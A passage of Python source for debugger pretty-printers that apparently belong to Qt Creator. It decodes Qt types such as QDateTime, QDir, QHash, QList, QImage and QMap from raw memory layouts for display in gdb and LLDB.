d.makeValue(ns + "QModelIndex", "%s,%s,%s,%s" % (r, c, p, m)) mm_ = d.makeExpression(mm) mi_ = d.makeExpression(mi) rowCount = int(d.parseAndEvaluate("%s.rowCount(%s)" % (mm_, mi_))) columnCount = int(d.parseAndEvaluate("%s.columnCount(%s)" % (mm_, mi_))) except: d.putPlainChildren(value) return try: # Access DisplayRole as value val = d.parseAndEvaluate("%s.data(%s, 0)" % (mm_, mi_)) v = val["d"]["data"]["ptr"] d.putStringValue(d.makeValue(ns + 'QString', v)) except: d.putValue("") d.putNumChild(rowCount * columnCount) if d.isExpanded(): with Children(d): i = 0 for row in xrange(rowCount): for column in xrange(columnCount): with UnnamedSubItem(d, i): d.putName("[%s, %s]" % (row, column)) mi2 = d.parseAndEvaluate("%s.index(%d,%d,%s)" % (mm_, row, column, mi_)) d.putItem(mi2) i = i + 1 d.putFields(value) #d.putCallItem("parent", val, "parent") #with SubItem(d, "model"): # d.putValue(m) # d.putType(ns + "QAbstractItemModel*") # d.putNumChild(1) #gdb.execute("call free($mi)") def qdump__QDate(d, value): jd = int(value["jd"]) if jd: d.putValue(jd, JulianDate) d.putNumChild(1) if d.isExpanded(): # FIXME: This improperly uses complex return values. with Children(d): d.putCallItem("toString", value, "toString", d.enumExpression("DateFormat", "TextDate")) d.putCallItem("(ISO)", value, "toString", d.enumExpression("DateFormat", "ISODate")) d.putCallItem("(SystemLocale)", value, "toString", d.enumExpression("DateFormat", "SystemLocaleDate")) d.putCallItem("(Locale)", value, "toString", d.enumExpression("DateFormat", "LocaleDate")) d.putFields(value) else: d.putValue("(invalid)") d.putNumChild(0) def qdump__QTime(d, value): mds = int(value["mds"]) if mds >= 0: d.putValue(mds, MillisecondsSinceMidnight) d.putNumChild(1) if d.isExpanded(): # FIXME: This improperly uses complex return values. with Children(d): d.putCallItem("toString", value, "toString", d.enumExpression("DateFormat", "TextDate")) d.putCallItem("(ISO)", value, "toString", d.enumExpression("DateFormat", "ISODate")) d.putCallItem("(SystemLocale)", value, "toString", d.enumExpression("DateFormat", "SystemLocaleDate")) d.putCallItem("(Locale)", value, "toString", d.enumExpression("DateFormat", "LocaleDate")) d.putFields(value) else: d.putValue("(invalid)") d.putNumChild(0) def qdump__QTimeZone(d, value): base = d.extractPointer(value) if base == 0: d.putValue("(null)") d.putNumChild(0) return idAddr = base + 2 * d.ptrSize() # [QSharedData] + [vptr] d.putByteArrayValueByAddress(idAddr) d.putPlainChildren(value["d"]) def qdump__QDateTime(d, value): qtVersion = d.qtVersion() isValid = False # This relies on the Qt4/Qt5 internal structure layout: # {sharedref(4), ... base = d.extractPointer(value) is32bit = d.is32bit() if qtVersion >= 0x050200: if d.isWindowsTarget(): msecsOffset = 8 specOffset = 16 offsetFromUtcOffset = 20 timeZoneOffset = 24 statusOffset = 28 if is32bit else 32 else: msecsOffset = 4 if is32bit else 8 specOffset = 12 if is32bit else 16 offsetFromUtcOffset = 16 if is32bit else 20 timeZoneOffset = 20 if is32bit else 24 statusOffset = 24 if is32bit else 32 status = d.extractInt(base + statusOffset) if int(status & 0x0c == 0x0c): # ValidDate and ValidTime isValid = True msecs = d.extractInt64(base + msecsOffset) spec = d.extractInt(base + specOffset) offset = d.extractInt(base + offsetFromUtcOffset) tzp = d.extractPointer(base + timeZoneOffset) if tzp == 0: tz = "" else: idBase = tzp + 2 * d.ptrSize() # [QSharedData] + [vptr] tz = d.encodeByteArrayHelper(d.extractPointer(idBase)) d.putValue("%s/%s/%s/%s/%s" % (msecs, spec, offset, tz, status), DateTimeInternal) else: # This relies on the Qt4/Qt5 internal structure layout: # {sharedref(4), date(8), time(4+x)} # QDateTimePrivate: # - QAtomicInt ref; (padded on 64 bit) # - [QDate date;] # - - uint jd in Qt 4, qint64 in Qt 5.0 and Qt 5.1; padded on 64 bit # - [QTime time;] # - - uint mds; # - Spec spec; dateSize = 8 if qtVersion >= 0x050000 else 4 # Qt5: qint64, Qt4 uint # 4 byte padding after 4 byte QAtomicInt if we are on 64 bit and QDate is 64 bit refPlusPadding = 8 if qtVersion >= 0x050000 and not d.is32bit() else 4 dateBase = base + refPlusPadding timeBase = dateBase + dateSize mds = d.extractInt(timeBase) isValid = mds > 0 if isValid: jd = d.extractInt(dateBase) d.putValue("%s/%s" % (jd, mds), JulianDateAndMillisecondsSinceMidnight) if isValid: d.putNumChild(1) if d.isExpanded(): # FIXME: This improperly uses complex return values. with Children(d): d.putCallItem("toTime_t", value, "toTime_t") d.putCallItem("toString", value, "toString", d.enumExpression("DateFormat", "TextDate")) d.putCallItem("(ISO)", value, "toString", d.enumExpression("DateFormat", "ISODate")) d.putCallItem("(SystemLocale)", value, "toString", d.enumExpression("DateFormat", "SystemLocaleDate")) d.putCallItem("(Locale)", value, "toString", d.enumExpression("DateFormat", "LocaleDate")) d.putCallItem("toUTC", value, "toTimeSpec", d.enumExpression("TimeSpec", "UTC")) d.putCallItem("toLocalTime", value, "toTimeSpec", d.enumExpression("TimeSpec", "LocalTime")) d.putFields(value) else: d.putValue("(invalid)") d.putNumChild(0) def qdump__QDir(d, value): d.putNumChild(1) privAddress = d.extractPointer(value) bit32 = d.is32bit() qt5 = d.qtVersion() >= 0x050000 # Change 9fc0965 reorders members again. # bool fileListsInitialized;\n" # QStringList files;\n" # QFileInfoList fileInfos;\n" # QStringList nameFilters;\n" # QDir::SortFlags sort;\n" # QDir::Filters filters;\n" # Before 9fc0965: # QDirPrivate: # QAtomicInt ref # QStringList nameFilters; # QDir::SortFlags sort; # QDir::Filters filters; # // qt3support: # QChar filterSepChar; # bool matchAllDirs; # // end qt3support # QScopedPointer<QAbstractFileEngine> fileEngine; # bool fileListsInitialized; # QStringList files; # QFileInfoList fileInfos; # QFileSystemEntry dirEntry; # QFileSystemEntry absoluteDirEntry; # QFileSystemEntry: # QString m_filePath # QByteArray m_nativeFilePath # qint16 m_lastSeparator # qint16 m_firstDotInFileName # qint16 m_lastDotInFileName # + 2 byte padding fileSystemEntrySize = 2 * d.ptrSize() + 8 if d.qtVersion() < 0x050200: case = 0 elif d.qtVersion() >= 0x050300: case = 1 else: # Try to distinguish bool vs QStringList at the first item # after the (padded) refcount. If it looks like a bool assume # this is after 9fc0965. This is not safe. firstValue = d.extractInt(privAddress + d.ptrSize()) case = 1 if firstValue == 0 or firstValue == 1 else 0 if case == 1: if bit32: filesOffset = 4 fileInfosOffset = 8 dirEntryOffset = 0x20 absoluteDirEntryOffset = 0x30 else: filesOffset = 0x08 fileInfosOffset = 0x10 dirEntryOffset = 0x30 absoluteDirEntryOffset = 0x48 else: # Assume this is before 9fc0965. qt3support = d.isQt3Support() qt3SupportAddition = d.ptrSize() if qt3support else 0 filesOffset = (24 if bit32 else 40) + qt3SupportAddition fileInfosOffset = filesOffset + d.ptrSize() dirEntryOffset = fileInfosOffset + d.ptrSize() absoluteDirEntryOffset = dirEntryOffset + fileSystemEntrySize d.putStringValueByAddress(privAddress + dirEntryOffset) if d.isExpanded(): with Children(d): ns = d.qtNamespace() d.call(value, "count") # Fill cache. #d.putCallItem("absolutePath", value, "absolutePath") #d.putCallItem("canonicalPath", value, "canonicalPath") with SubItem(d, "absolutePath"): typ = d.lookupType(ns + "QString") d.putItem(d.createValue(privAddress + absoluteDirEntryOffset, typ)) with SubItem(d, "entryInfoList"): typ = d.lookupType(ns + "QList<" + ns + "QFileInfo>") d.putItem(d.createValue(privAddress + fileInfosOffset, typ)) with SubItem(d, "entryList"): typ = d.lookupType(ns + "QStringList") d.putItem(d.createValue(privAddress + filesOffset, typ)) d.putFields(value) def qdump__QFile(d, value): # 9fc0965 changes the layout of the private structure qtVersion = d.qtVersion() is32bit = d.is32bit() if qtVersion > 0x050200: if d.isWindowsTarget(): offset = 180 if is32bit else 272 else: offset = 176 if is32bit else 272 elif qtVersion >= 0x050000: offset = 176 if is32bit else 280 else: if d.isWindowsTarget(): offset = 144 if is32bit else 232 else: offset = 140 if is32bit else 232 privAddress = d.extractPointer(d.addressOf(value) + d.ptrSize()) fileNameAddress = privAddress + offset d.putStringValueByAddress(fileNameAddress) d.putNumChild(1) if d.isExpanded(): with Children(d): d.putCallItem("exists", value, "exists") d.putFields(value) def qdump__QFileInfo(d, value): privAddress = d.extractPointer(value) #bit32 = d.is32bit() #qt5 = d.qtVersion() >= 0x050000 #try: # d.putStringValue(value["d_ptr"]["d"].dereference()["fileNames"][3]) #except: # d.putPlainChildren(value) # return filePathAddress = privAddress + d.ptrSize() d.putStringValueByAddress(filePathAddress) d.putNumChild(1) if d.isExpanded(): ns = d.qtNamespace() with Children(d, childType=d.lookupType(ns + "QString")): d.putCallItem("absolutePath", value, "absolutePath") d.putCallItem("absoluteFilePath", value, "absoluteFilePath") d.putCallItem("canonicalPath", value, "canonicalPath") d.putCallItem("canonicalFilePath", value, "canonicalFilePath") d.putCallItem("completeBaseName", value, "completeBaseName") d.putCallItem("completeSuffix", value, "completeSuffix") d.putCallItem("baseName", value, "baseName") if False: #ifdef Q_OS_MACX d.putCallItem("isBundle", value, "isBundle") d.putCallItem("bundleName", value, "bundleName") d.putCallItem("fileName", value, "fileName") d.putCallItem("filePath", value, "filePath") # Crashes gdb (archer-tromey-python, at dad6b53fe) #d.putCallItem("group", value, "group") #d.putCallItem("owner", value, "owner") d.putCallItem("path", value, "path") d.putCallItem("groupid", value, "groupId") d.putCallItem("ownerid", value, "ownerId") #QFile::Permissions permissions () const perms = d.call(value, "permissions") if perms is None: d.putValue("<not available>") else: with SubItem(d, "permissions"): d.putEmptyValue() d.putType(ns + "QFile::Permissions") d.putNumChild(10) if d.isExpanded(): with Children(d, 10): perms = perms['i'] d.putBoolItem("ReadOwner", perms & 0x4000) d.putBoolItem("WriteOwner", perms & 0x2000) d.putBoolItem("ExeOwner", perms & 0x1000) d.putBoolItem("ReadUser", perms & 0x0400) d.putBoolItem("WriteUser", perms & 0x0200) d.putBoolItem("ExeUser", perms & 0x0100) d.putBoolItem("ReadGroup", perms & 0x0040) d.putBoolItem("WriteGroup", perms & 0x0020) d.putBoolItem("ExeGroup", perms & 0x0010) d.putBoolItem("ReadOther", perms & 0x0004) d.putBoolItem("WriteOther", perms & 0x0002) d.putBoolItem("ExeOther", perms & 0x0001) #QDir absoluteDir () const #QDir dir () const d.putCallItem("caching", value, "caching") d.putCallItem("exists", value, "exists") d.putCallItem("isAbsolute", value, "isAbsolute") d.putCallItem("isDir", value, "isDir") d.putCallItem("isExecutable", value, "isExecutable") d.putCallItem("isFile", value, "isFile") d.putCallItem("isHidden", value, "isHidden") d.putCallItem("isReadable", value, "isReadable") d.putCallItem("isRelative", value, "isRelative") d.putCallItem("isRoot", value, "isRoot") d.putCallItem("isSymLink", value, "isSymLink") d.putCallItem("isWritable", value, "isWritable") d.putCallItem("created", value, "created") d.putCallItem("lastModified", value, "lastModified") d.putCallItem("lastRead", value, "lastRead") d.putFields(value) def qdump__QFixed(d, value): v = int(value["val"]) d.putValue("%s/64 = %s" % (v, v/64.0)) d.putNumChild(0) def qform__QFiniteStack(): return arrayForms() def qdump__QFiniteStack(d, value): alloc = int(value["_alloc"]) size = int(value["_size"]) d.check(0 <= size and size <= alloc and alloc <= 1000 * 1000 * 1000) d.putItemCount(size) d.putNumChild(size) if d.isExpanded(): innerType = d.templateArgument(value.type, 0) d.putPlotData(innerType, value["_array"], size) # Stock gdb 7.2 seems to have a problem with types here: # # echo -e "namespace N { struct S { enum E { zero, one, two }; }; }\n"\ # "int main() { N::S::E x = N::S::one;\n return x; }" >> main.cpp # g++ -g main.cpp # gdb-7.2 -ex 'file a.out' -ex 'b main' -ex 'run' -ex 'step' \ # -ex 'ptype N::S::E' -ex 'python print gdb.lookup_type("N::S::E")' -ex 'q' # gdb-7.1 -ex 'file a.out' -ex 'b main' -ex 'run' -ex 'step' \ # -ex 'ptype N::S::E' -ex 'python print gdb.lookup_type("N::S::E")' -ex 'q' # gdb-cvs -ex 'file a.out' -ex 'b main' -ex 'run' -ex 'step' \ # -ex 'ptype N::S::E' -ex 'python print gdb.lookup_type("N::S::E")' -ex 'q' # # gives as of 2010-11-02 # # type = enum N::S::E {N::S::zero, N::S::one, N::S::two} \n # Traceback (most recent call last): File "<string>", line 1, # in <module> RuntimeError: No type named N::S::E. # type = enum N::S::E {N::S::zero, N::S::one, N::S::two} \n N::S::E # type = enum N::S::E {N::S::zero, N::S::one, N::S::two} \n N::S::E # # i.e. there's something broken in stock 7.2 that is was ok in 7.1 and is ok later. def qdump__QFlags(d, value): i = value["i"] try: enumType = d.templateArgument(value.type.unqualified(), 0) d.putValue("%s (%s)" % (i.cast(enumType), i)) except: d.putValue("%s" % i) d.putNumChild(0) def qform__QHash(): return mapForms() def qdump__QHash(d, value): def hashDataFirstNode(dPtr, numBuckets): ePtr = dPtr.cast(nodeTypePtr) bucket = dPtr.dereference()["buckets"] for n in xrange(numBuckets - 1, -1, -1): n = n - 1 if n < 0: break if d.pointerValue(bucket.dereference()) != d.pointerValue(ePtr): return bucket.dereference() bucket = bucket + 1 return ePtr; def hashDataNextNode(nodePtr, numBuckets): nextPtr = nodePtr.dereference()["next"] if d.pointerValue(nextPtr.dereference()["next"]): return nextPtr start = (int(nodePtr.dereference()["h"]) % numBuckets) + 1 dPtr = nextPtr.cast(dataTypePtr) bucket = dPtr.dereference()["buckets"] + start for n in xrange(numBuckets - start): if d.pointerValue(bucket.dereference()) != d.pointerValue(nextPtr): return bucket.dereference() bucket += 1 return nextPtr keyType = d.templateArgument(value.type, 0) valueType = d.templateArgument(value.type, 1) anon = d.childAt(value, 0) d_ptr = anon["d"] e_ptr = anon["e"] size = int(d_ptr["size"]) dataTypePtr = d_ptr.type # QHashData * = { Node *fakeNext, Node *buckets } nodeTypePtr = d_ptr.dereference()["fakeNext"].type # QHashData::Node d.check(0 <= size and size <= 100 * 1000 * 1000) d.checkRef(d_ptr["ref"]) d.putItemCount(size) d.putNumChild(size) if d.isExpanded(): numBuckets = int(d_ptr.dereference()["numBuckets"]) innerType = e_ptr.dereference().type isCompact = d.isMapCompact(keyType, valueType) childType = valueType if isCompact else innerType with Children(d, size, maxNumChild=1000, childType=childType): for i in d.childRange(): if i == 0: node = hashDataFirstNode(d_ptr, numBuckets) else: node = hashDataNextNode(node, numBuckets) it = node.dereference().cast(innerType) with SubItem(d, i): if isCompact: key = it["key"] if not key: # LLDB can't access directly since it's in anonymous union # for Qt4 optimized int keytype key = it[1]["key"] d.putMapName(key) d.putItem(it["value"]) d.putType(valueType) else: d.putItem(it) def qdump__QHashNode(d, value): key = value["key"] if not key: # LLDB can't access directly since it's in anonymous union # for Qt4 optimized int keytype key = value[1]["key"] val = value["value"] d.putEmptyValue() d.putNumChild(2) if d.isExpanded(): with Children(d): d.putSubItem("key", key) d.putSubItem("value", val) def qHashIteratorHelper(d, value): typeName = str(value.type) hashTypeName = typeName[0:typeName.rfind("::")] hashType = d.lookupType(hashTypeName) keyType = d.templateArgument(hashType, 0) valueType = d.templateArgument(hashType, 1) d.putNumChild(1) d.putEmptyValue() if d.isExpanded(): with Children(d): # We need something like QHash<int, float>::iterator # -> QHashNode<int, float> with 'proper' spacing, # as space changes confuse LLDB. innerTypeName = hashTypeName.replace("QHash", "QHashNode", 1) node = value["i"].cast(d.lookupType(innerTypeName).pointer()).dereference() key = node["key"] if not key: # LLDB can't access directly since it's in anonymous union # for Qt4 optimized int keytype key = node[1]["key"] d.putSubItem("key", key) d.putSubItem("value", node["value"]) def qdump__QHash__const_iterator(d, value): qHashIteratorHelper(d, value) def qdump__QHash__iterator(d, value): qHashIteratorHelper(d, value) def qdump__QHostAddress(d, value): # QHostAddress in Qt 4.5 (byte offsets) # quint32 a (0) # Q_IPV6ADDR a6 (4) # protocol (20) # QString ipString (24) # QString scopeId (24 + ptrSize) # bool isParsed (24 + 2 * ptrSize) # QHostAddress in Qt 5.0 # QString ipString (0) # QString scopeId (ptrSize) # quint32 a (2*ptrSize) # Q_IPV6ADDR a6 (2*ptrSize + 4) # protocol (2*ptrSize + 20) # bool isParsed (2*ptrSize + 24) privAddress = d.extractPointer(value) isQt5 = d.qtVersion() >= 0x050000 sizeofQString = d.ptrSize() ipStringAddress = privAddress + (0 if isQt5 else 24) isParsedAddress = privAddress + 24 + 2 * sizeofQString # value.d.d->ipString ipString = d.encodeStringHelper(d.extractPointer(ipStringAddress)) if d.extractByte(isParsedAddress) and len(ipString) > 0: d.putValue(ipString, Hex4EncodedLittleEndian) else: # value.d.d->protocol: # QAbstractSocket::IPv4Protocol = 0 # QAbstractSocket::IPv6Protocol = 1 protoAddress = privAddress + 20 + (2 * sizeofQString if isQt5 else 0); proto = d.extractInt(protoAddress) if proto == 1: # value.d.d->a6 a6Offset = 4 + (2 * sizeofQString if isQt5 else 0) data = d.readMemory(privAddress + a6Offset, 16) address = ':'.join("%x" % int(data[i:i+4], 16) for i in xrange(0, 32, 4)) scopeId = privAddress + sizeofQString + (0 if isQt5 else 24) scopeId = d.encodeStringHelper(d.extractPointer(scopeId)) d.putValue("%s%%%s" % (address, scopeId), IPv6AddressAndHexScopeId) elif proto == 0: # value.d.d->a a = d.extractInt(privAddress + (2 * sizeofQString if isQt5 else 0)) a, n4 = divmod(a, 256) a, n3 = divmod(a, 256) a, n2 = divmod(a, 256) a, n1 = divmod(a, 256) d.putValue("%d.%d.%d.%d" % (n1, n2, n3, n4)); else: d.putValue("<unspecified>") d.putPlainChildren(value["d"]["d"].dereference()) def qdump__QIPv6Address(d, value): #warn("IPV6.VALUE: %s" % value) #warn("IPV6.ADDR: 0x%x" % d.addressOf(value)) #warn("IPV6.LOADADDR: 0x%x" % value.GetLoadAddress()) c = value["c"] data = d.readMemory(d.addressOf(c), 16) d.putValue(':'.join("%x" % int(data[i:i+4], 16) for i in xrange(0, 32, 4))) #d.putValue('xx') #d.putValue("0x%x - 0x%x" % (d.addressOf(value), d.addressOf(c))) #d.putValue("0x%x - 0x%x" % (value.GetAddress(), c.GetAddress())) #d.putValue("0x%x - 0x%x" % (value.GetLoadAddress(), c.GetLoadAddress())) d.putPlainChildren(c) def qform__QList(): return "Assume Direct Storage,Assume Indirect Storage" def qdump__QList(d, value): base = d.extractPointer(value) begin = d.extractInt(base + 8) end = d.extractInt(base + 12) array = base + 16 if d.qtVersion() < 0x50000: array += d.ptrSize() d.check(begin >= 0 and end >= 0 and end <= 1000 * 1000 * 1000) size = end - begin d.check(size >= 0) #d.checkRef(private["ref"]) innerType = d.templateArgument(value.type, 0) d.putItemCount(size) d.putNumChild(size) if d.isExpanded(): innerSize = innerType.sizeof stepSize = d.ptrSize() addr = array + begin * stepSize # The exact condition here is: # QTypeInfo<T>::isLarge || QTypeInfo<T>::isStatic # but this data is available neither in the compiled binary nor # in the frontend. # So as first approximation only do the 'isLarge' check: format = d.currentItemFormat() if format == 1: isInternal = True elif format == 2: isInternal = False else: isInternal = innerSize <= stepSize and d.isMovableType(innerType) if isInternal: if innerSize == stepSize: p = d.createPointerValue(addr, innerType) d.putArrayData(innerType, p, size) else: with Children(d, size, childType=innerType): for i in d.childRange(): p = d.createValue(addr + i * stepSize, innerType) d.putSubItem(i, p) else: # about 0.5s / 1000 items with Children(d, size, maxNumChild=2000, childType=innerType): for i in d.childRange(): p = d.extractPointer(addr + i * stepSize) x = d.createValue(p, innerType) d.putSubItem(i, x) def qform__QImage(): return "Normal,Displayed" def qdump__QImage(d, value): # This relies on current QImage layout: # QImageData: # - QAtomicInt ref # - int width, height, depth, nbytes # - padding on 64 bit machines # - qreal devicePixelRatio (+20 + padding) # Assume qreal == double, Qt 5 only # - QVector<QRgb> colortable (+20 + padding + gap) # - uchar *data (+20 + padding + gap + ptr) # [- uchar **jumptable jumptable with Qt 3 suppor] # - enum format (+20 + padding + gap + 2 * ptr) ptrSize = d.ptrSize() isQt5 = d.qtVersion() >= 0x050000 offset = (3 if isQt5 else 2) * ptrSize base = d.extractPointer(d.addressOf(value) + offset) if base == 0: d.putValue("(invalid)") return qt3Support = d.isQt3Support() width = d.extractInt(base + 4) height = d.extractInt(base + 8) nbytes = d.extractInt(base + 16) padding = d.ptrSize() - d.intSize() pixelRatioSize = 8 if isQt5 else 0 jumpTableSize = ptrSize if qt3Support else 0 bits = d.extractPointer(base + 20 + padding + pixelRatioSize + ptrSize) iformat = d.extractInt(base + 20 + padding + pixelRatioSize + jumpTableSize + 2 * ptrSize) d.putValue("(%dx%d)" % (width, height)) d.putNumChild(1) if d.isExpanded(): with Children(d): d.putIntItem("width", width) d.putIntItem("height", height) d.putIntItem("nbytes", nbytes) d.putIntItem("format", iformat) with SubItem(d, "data"): d.putValue("0x%x" % bits) d.putNumChild(0) d.putType("void *") format = d.currentItemFormat() if format == 1: d.putDisplay(StopDisplay) elif format == 2: # This is critical for performance. Writing to an external # file using the following is faster when using GDB. # file = tempfile.mkstemp(prefix="gdbpy_") # filename = file[1].replace("\\", "\\\\") # gdb.execute("dump binary memory %s %s %s" % # (filename, bits, bits + nbytes)) # d.putDisplay(DisplayImageFile, " %d %d %d %d %s" # % (width, height, nbytes, iformat, filename)) d.putField("editformat", DisplayImageData) d.put('editvalue="') d.put('%08x%08x%08x%08x' % (width, height, nbytes, iformat)) d.put(d.readMemory(bits, nbytes)) d.put('",') def qdump__QLinkedList(d, value): dd = d.extractPointer(value) ptrSize = d.ptrSize() n = d.extractInt(dd + 4 + 2 * ptrSize); ref = d.extractInt(dd + 2 * ptrSize); d.check(0 <= n and n <= 100*1000*1000) d.check(-1 <= ref and ref <= 1000) d.putItemCount(n) d.putNumChild(n) if d.isExpanded(): innerType = d.templateArgument(value.type, 0) with Children(d, n, maxNumChild=1000, childType=innerType): pp = d.extractPointer(dd) for i in d.childRange(): d.putSubItem(i, d.createValue(pp + 2 * ptrSize, innerType)) pp = d.extractPointer(pp) qqLocalesCount = None def qdump__QLocale(d, value): # Check for uninitialized 'index' variable. Retrieve size of # QLocale data array from variable in qlocale.cpp. # Default is 368 in Qt 4.8, 438 in Qt 5.0.1, the last one # being 'System'. #global qqLocalesCount #if qqLocalesCount is None: # #try: # qqLocalesCount = int(value(ns + 'locale_data_size')) # #except: # qqLocalesCount = 438 #try: # index = int(value["p"]["index"]) #except: # try: # index = int(value["d"]["d"]["m_index"]) # except: # index = int(value["d"]["d"]["m_data"]...) #d.check(index >= 0) #d.check(index <= qqLocalesCount) d.putStringValue(d.call(value, "name")) d.putNumChild(0) return # FIXME: Poke back for variants. if d.isExpanded(): ns = d.qtNamespace() with Children(d, childType=d.lookupType(ns + "QChar"), childNumChild=0): d.putCallItem("country", value, "country") d.putCallItem("language", value, "language") d.putCallItem("measurementSystem", value, "measurementSystem") d.putCallItem("numberOptions", value, "numberOptions") d.putCallItem("timeFormat_(short)", value, "timeFormat", ns + "QLocale::ShortFormat") d.putCallItem("timeFormat_(long)", value, "timeFormat", ns + "QLocale::LongFormat") d.putCallItem("decimalPoint", value, "decimalPoint") d.putCallItem("exponential", value, "exponential") d.putCallItem("percent", value, "percent") d.putCallItem("zeroDigit", value, "zeroDigit") d.putCallItem("groupSeparator", value, "groupSeparator") d.putCallItem("negativeSign", value, "negativeSign") d.putFields(value) def qdump__QMapNode(d, value): d.putEmptyValue() d.putNumChild(2) if d.isExpanded(): with Children(d): d.putSubItem("key", value["key"]) d.putSubItem("value", value["value"]) def qdumpHelper__Qt4_QMap(d, value): anon = d.childAt(value, 0) d_ptr = anon["d"].dereference() e_ptr = anon["e"].dereference() n = int(d_ptr["size"]) d.check(0 <= n and n <= 100*1000*1000) d.checkRef(d_ptr["ref"]) d.putItemCount(n) d.putNumChild(n) if d.isExpanded(): if n > 10000: n = 10000 keyType = d.templateArgument(value.type, 0) valueType = d.templateArgument(value.type, 1) it = e_ptr["forward"].dereference() # QMapPayloadNode is QMapNode except for the 'forward' member, so # its size is most likely the offset of the 'forward' member therein. # Or possibly 2 * sizeof(void *) # Note: Keeping the spacing in the type lookup # below is important for LLDB. needle = str(value.type).replace("QMap", "QMapNode", 1) needle = d.qtNamespace() + "QMapNode<%s,%s>" % (keyType, valueType) nodeType = d.lookupType(needle) nodePointerType = nodeType.pointer() # symbols reports payload size at wrong size 24 if d.isArmArchitecture() and d.isQnxTarget() and str(valueType) == 'QVariant': payloadSize = 28 else: payloadSize = nodeType.sizeof - 2 * nodePointerType.sizeof with PairedChildren(d, n, useKeyAndValue=True, keyType=keyType, valueType=valueType, pairType=nodeType): for i in xrange(n): base = it.cast(d.charPtrType()) - payloadSize node = base.cast(nodePointerType).dereference() with SubItem(d, i): #d.putField("iname", d.currentIName) d.putPair(node, i) it = it.dereference()["forward"].dereference() def qdumpHelper__Qt5_QMap(d, value): d_ptr = value["d"].dereference() n = int(d_ptr["size"]) d.check(0 <= n and n <= 100*1000*1000) d.checkRef(d_ptr["ref"]) d.putItemCount(n) d.putNumChild(n) if d.isExpanded(): if n > 10000: n = 10000 keyType = d.templateArgument(value.type, 0) valueType = d.templateArgument(value.type, 1) # Note: Keeping the spacing in the type lookup # below is important for LLDB. needle = str(d_ptr.type).replace("QMapData", "QMapNode", 1) nodeType = d.lookupType(needle) def helper(d, node, nodeType, i): left = node["left"] if not d.isNull(left): i = helper(d, left.dereference(), nodeType, i) if i >= n: return i nodex = node.cast(nodeType) with SubItem(d, i): d.putPair(nodex, i) i += 1 if i >= n: return i right = node["right"] if not d.isNull(right): i = helper(d, right.dereference(), nodeType, i) return i with PairedChildren(d, n, useKeyAndValue=True, keyType=keyType, valueType=valueType, pairType=nodeType): node = d_ptr["header"] helper(d, node, nodeType, 0) def qform__QMap(): return mapForms() def qdump__QMap(d, value): if d.qtVersion() < 0x50000: qdumpHelper__Qt4_QMap(d, value) else: qdumpHelper__Qt5_QMap(d, value) def qform__QMultiMap(): return mapForms() def qdump__QMultiMap(d, value): qdump__QMap(d, value) def extractCString(table, offset): result = "" while True: d = table[offset] if d == 0: break result += "%c" % d offset += 1 return result def qdump__QMetaObjectPrivate(d, value): d.putEmptyValue() d.putNumChild(1) if d.isExpanded(): with Children(d): # int revision; # int className; # int classInfoCount, classInfoData; # int methodCount, methodData; # int propertyCount, propertyData; # int enumeratorCount, enumeratorData; # int constructorCount, constructorData; //since revision 2 # int flags; //since revision 3 # int signalCount; //since revision 4 d.putIntItem("revision", value["revision"]) d.putIntItem("methodCount", value["methodCount"]) d.putIntItem("propertyCount", value["propertyCount"]) d.putIntItem("enumeratorCount", value["enumeratorCount"]) d.putIntItem("constructorCount", value["constructorCount"]) d.putIntItem("flags", value["flags"]) d.putIntItem("signalCount", value["signalCount"]) def qdump__QMetaObject(d, value): d.putEmptyValue() d.putNumChild(1) if d.isExpanded(): with Children(d): dd = value["d"] d.putSubItem("d", dd) data = d.extractPointer(dd["data"]) propertyNames = d.staticQObjectPropertyNames(value) propertyIndex = 0 for propertyName in propertyNames: with SubItem(d, "property_%s" % propertyIndex): d.putValue(propertyName) propertyIndex += 1 #byteArrayDataType = d.lookupType(d.qtNamespace() + "QByteArrayData") #byteArrayDataSize = byteArrayDataType.sizeof #sd = d.extractPointer(dd["stringdata"]) #stringdata, size, alloc = d.byteArrayDataHelper(sd) #propertyCount = d.extractInt(data + 24) #propertyData = d.extractInt(data + 28) ## This is the 'data' member in the qt_meta_stringdata_qobject__*_t struct #d.putIntItem("_byteArrayDataSize", byteArrayDataSize) #d.putAddressItem("_data", data) #d.putAddressItem("_sd_", stringdata) #with SubItem(d, "_sd"): # d.putValue(d.readMemory(stringdata, size), Hex2EncodedLatin1) #with SubItem(d, "_cn"): # d.putValue(d.readMemory(stringdata + d.extractInt(data + 4), size), Hex2EncodedLatin1) #for i in range(propertyCount): # with SubItem(d, "property_%s" % i): # x = data + (propertyData + 3 * i) * 4 # literal = sd + d.extractInt(x) * byteArrayDataSize # ldata, lsize, lalloc = d.byteArrayDataHelper(literal) # d.putValue(d.readMemory(ldata, lsize), Hex2EncodedLatin1) # d.putNumChild(1) # if d.isExpanded(): # with Children(d): # if d.isExpanded(): # d.putAddressItem("_literal", literal) # d.putIntItem("__data", ldata) # d.putIntItem("__size", lsize) # d.putIntItem("__alloc", lalloc) # d.putIntItem("name", d.extractInt(x)) # d.putIntItem("type", d.extractInt(x + 4)) # d.putIntItem("flags", d.extractInt(x + 8)) methodCount = d.extractInt(data + 16) methodData = d.extractInt(data + 20) for i in range(methodCount): with SubItem(d, "method_%s" % i): x = data + (methodData + 5 * i) * 4 #d.putEmptyValue() d.putValue(d.readCString(stringdata + d.extractInt(x))) d.putNumChild(1) if d.isExpanded(): with Children(d): if d.isExpanded(): d.putIntItem("name", d.extractInt(x)) d.putIntItem("argc", d.extractInt(x + 4)) d.putIntItem("argv", d.extractInt(x + 8)) d.putIntItem("type", d.extractInt(x + 12)) d.putIntItem("flags", d.extractInt(x + 16)) d.putSubItem("stringData", dd["stringdata"]) d.putIntItem("revision", d.extractInt(data)) d.putIntItem("className", d.extractInt(data + 4)) d.putIntItem("classInfoCount", d.extractInt(data + 8)) d.putIntItem("className", d.extractInt(data + 12)) d.putIntItem("methodCount", d.extractInt(data + 16)) d.putIntItem("methodData", d.extractInt(data + 20)) d.putIntItem("propertyCount", d.extractInt(data + 24)) d.putIntItem("propertyData", d.extractInt(data + 28)) d.putIntItem("enumeratorCount", d.extractInt(data + 32)) d.putIntItem("enumeratorData", d.extractInt(data + 36)) d.putIntItem("constructorCount", d.extractInt(data + 40)) d.putIntItem("constructorData", d.extractInt(data + 44)) d.putIntItem("flags", d.extractInt(data + 48)) d.putIntItem("signalCount", d.extractInt(data + 52)) def _qdump__QObject(d, value): d.putQObjectNameValue(value) ns = d.qtNamespace() try: privateTypeName = ns + "QObjectPrivate" privateType = d.lookupType(privateTypeName) staticMetaObject = value["staticMetaObject"] except: d.putPlainChildren(value) return #warn("SMO: %s " % 